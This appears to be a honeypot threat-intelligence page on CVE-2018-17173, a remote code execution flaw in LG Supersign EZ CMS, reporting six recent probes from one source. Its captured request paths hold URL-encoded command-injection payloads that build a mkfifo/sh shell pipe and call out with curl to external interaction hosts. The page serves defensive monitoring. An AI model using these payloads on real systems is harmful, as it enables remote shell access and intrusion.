CVE-2018-17173: LG Supersign EZ CMS - Remote Code Execution

HoneyLabs honeypots recorded 6 probes matching CVE-2018-17173 from 1 distinct source IP address in the last 7 days. Severity is rated critical.

Request paths that identify it

• /qsr_server/device/getThumbnail?sourceUri=\'%2b-%253brm%2b/tmp/f%253bmkfifo%2b/tmp/f%253bcat%2b/tmp/f|/bin/sh%2b-i%2b2>%…

Addresses probing it

Networks it comes from

Where it comes from

Captured requests

• /qsr_server/device/getThumbnail?sourceUri=\'%2b-%253brm%2b/tmp/f%253bmkfifo%2b/tmp/f%253bcat%2b/tmp/f|/bin/sh%2b-i%2b2>%25261|curl%2bhttp%253a//db5t5t5r4bop88fdlblg1bxaco8ibwkfq.oast.pro%2b>/tmp/f%253…
• /qsr_server/device/getThumbnail?sourceUri=\'%2b-%253brm%2b/tmp/f%253bmkfifo%2b/tmp/f%253bcat%2b/tmp/f|/bin/sh%2b-i%2b2>%25261|curl%2bhttp%253a//db55a55r4boh7qauocv0my3kr34dtzueb.oast.pro%2b>/tmp/f%253…
• /qsr_server/device/getThumbnail?sourceUri=\'%2b-%253brm%2b/tmp/f%253bmkfifo%2b/tmp/f%253bcat%2b/tmp/f|/bin/sh%2b-i%2b2>%25261|curl%2bhttp%253a//db817n5r4boisguf8240y9ic7huawh6xg.oast.site%2b>/tmp/f%25…
• /qsr_server/device/getThumbnail?sourceUri=\'%2b-%253brm%2b/tmp/f%253bmkfifo%2b/tmp/f%253bcat%2b/tmp/f|/bin/sh%2b-i%2b2>%25261|curl%2bhttp%253a//db7a64tr4bopjr84s5hgn1chpbo9e7jxy.oast.site%2b>/tmp/f%25…

HTTP client fingerprints

• b11cun040_00040013_608dab68